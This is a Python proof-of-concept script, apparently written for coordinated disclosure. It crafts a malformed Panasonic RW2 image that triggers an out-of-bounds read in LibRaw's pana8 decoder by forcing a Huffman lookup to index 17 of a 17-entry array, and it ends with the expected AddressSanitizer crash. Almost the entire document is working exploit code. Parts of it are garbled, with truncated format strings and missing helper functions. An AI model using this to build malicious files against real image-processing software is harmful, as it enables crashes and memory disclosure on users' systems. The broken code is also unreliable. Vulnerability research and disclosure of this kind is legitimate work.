#!/usr/bin/env python3 """ LibRaw pana8 OOB mutator - coordinated disclosure. This file patches a Panasonic RW2 (RawFormat=4) to trigger the pana8 out-of-bounds read vulnerability by: 1. Patching tag 0x002d (pana_encoding) from 4 -> 8 2. Injecting pana8 tags 0x39-0x48 directly into IFD0 (Panasonic RW2 stores these in IFD0, not in MakerNote) 3. Crafting tag 0x40 so GetDBit() always returns 17 (OOB index) 4. Appending 0xFF stripe payload so pixbits MSB is always set Trigger chain: pana_encoding=8 -> panasonicC8_load_raw() -> pana8_decode_strip() -> DecodeC8() -> GetDBit() returns 17 -> huff_coeff[17] accessed (array size=17, valid: 0-16) -> OOB READ """ import struct, sys def u16(d,o): return struct.unpack_from('>16)&0x1F = 16 v8 computed: h7=16&7=0, hlow-1=15>=7 hdiff=0-16=-16 -> loop: v8=0xFF(hdiff=-8), v8=0xFFFF(hdiff=0) v9 = 0x00100000 & 0xFFFF = 0x0000 hufftable2[i] = 0xFFFFULL<<(64-16) = 0xFFFF000000000000 hufftable1[i] = 0x0000<<(64-16) = 0x0000000000000000 GetDBit check: (0xFFFF000000000000 & pixbits) == 0 -> TRUE only when top 16 bits of pixbits are zero -> FALSE when any top bit set (our 0xFF stripe ensures this) All 17 checks fail -> returns 0^0x11=17 -> huff_coeff[17] OOB READ """ b = p16(17) for _ in range(17): b += p16(16)+p16(0) assert len(b) == 70; return b def build_tag41(): """0x41: UNDEFINED len=36, count(u16=17) + 17x tag41(u16)=0""" b = p16(17) for _ in range(17): b += p16(0) assert len(b) == 36; return b def build_tag44(stripe_file_offset): """0x44: UNDEFINED len=50, stripe_offsets[0]=stripe_file_offset""" b = p16(1)+p32(stripe_file_offset)+p32(0)*4+b'\x00'*28 assert len(b) == 50; return b def build_tag46(stripe_bits): """0x46: UNDEFINED len=50, stripe_compressed_size[0] in BITS""" b = p16(1)+p32(stripe_bits)+p32(0)*4+b'\x00'*28 assert len(b) == 50; return b def build_tag47(width): """0x47: UNDEFINED len=26, count(u16=1) + 5x u16 stripe_widths + padding""" b = p16(1)+p16(width & 0xFFFF)+p16(0)*4+b'\x00'*14 assert len(b) == 26; return b def build_tag48(height): """0x48: UNDEFINED len=26, count(u16=1) + 5x u16 stripe_heights + padding""" b = p16(1)+p16(height & 0xFFFF)+p16(0)*4+b'\x00'*14 assert len(b) == 26; return b def read_ifd(data, ifd_off): n = u16(data, ifd_off) entries, o = [], ifd_off+2 for _ in range(n): tag,typ,cnt,val = struct.unpack_from(' 8 --- r = find_tag(data, ifd0_off, 0x002d) assert r, "Tag 0x002d not found" eoff, _, _, _, old_val = r struct.pack_into(' 8") # --- 2. Get image dimensions --- r = find_tag(data, ifd0_off, 0x0003); raw_height = r[4] if r else 3088 r = find_tag(data, ifd0_off, 0x0002); raw_width = r[4] if r else 4816 print(f"[*] Dimensions: {raw_width} x {raw_height}") # --- 3. Append stripe payload + tag blobs to end of file --- def append(blob): off = len(data); data.extend(blob); return off # 0xFF stripe: ensures pixbits top bits are set -> GetDBit always returns 17 stripe_bytes = raw_width * raw_height * 2 stripe_off = append(b'\xFF' * stripe_bytes) stripe_bits = stripe_bytes * 8 # panasonicC8_load_raw validates in bits print(f"[+] Stripe 0xFF @ 0x{stripe_off:x} ({stripe_bytes:,} bytes)") t39_off = append(build_tag39()) t3A_off = append(build_tag3A()) t40_off = append(build_tag40()) # <-- OOB trigger t41_off = append(build_tag41()) t44_off = append(build_tag44(stripe_off)) t46_off = append(build_tag46(stripe_bits)) t47_off = append(build_tag47(raw_width)) t48_off = append(build_tag48(raw_height)) print(f"[+] tag40 (huff trigger) @ 0x{t40_off:x}") print(f"[+] tag48 (stripe_height)@ 0x{t48_off:x} height={raw_height}") # --- 4. Merge new pana8 tags into IFD0 --- new_tags = { 0x0039: (UNDEFINED, 26, t39_off), 0x003A: (UNDEFINED, 26, t3A_off), 0x003B: (SHORT, 1, 0), 0x003C: (SHORT, 1, 0), 0x003D: (SHORT, 1, 0), 0x003E: (SHORT, 1, 0), 0x003F: (SHORT, 1, 0), 0x0040: (UNDEFINED, 70, t40_off), 0x0041: (UNDEFINED, 36, t41_off), 0x0042: (SHORT, 1, 1), # stripe_count=1 0x0043: (SHORT, 1, 1), 0x0044: (UNDEFINED, 50, t44_off), 0x0045: (UNDEFINED, 50, t44_off), 0x0046: (UNDEFINED, 50, t46_off), 0x0047: (UNDEFINED, 26, t47_off), 0x0048: (UNDEFINED, 26, t48_off), } # Merge with existing IFD0 entries, replacing any overlapping tags existing = {tag:(typ,cnt,val) for tag,typ,cnt,val in read_ifd(data, ifd0_off)} existing.update(new_tags) merged = sorted(existing.items()) # ascending tag order (TIFF spec) # --- 5. Write new IFD0 at end of file, update IFD0 pointer in header --- new_ifd0_off = append(b'') # current end of file ifd_blob = p16(len(merged)) for tag,(typ,cnt,val) in merged: ifd_blob += struct.pack(' 0x{new_ifd0_off:x}") # --- 6. Write output --- with open(output_path,'wb') as f: f.write(data) print(f"\n[+] Written: {output_path} ({len(data):,} bytes)") print(f""" [*] Run: ASAN_OPTIONS=halt_on_error=1:print_stats=1 \\ ./bin/dcraw_emu -v {output_path} [*] Expected ASan crash: ERROR: AddressSanitizer: stack-buffer-overflow READ of size 4 at ... in pana8_param_t::DecodeC8 pana8.cpp:250 huff_coeff[huff_index] where huff_index=17 """) if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} [output.rw2]") sys.exit(1) mutate(sys.argv[1], sys.argv[2] if len(sys.argv)>2 else 'mutated_pana8.rw2')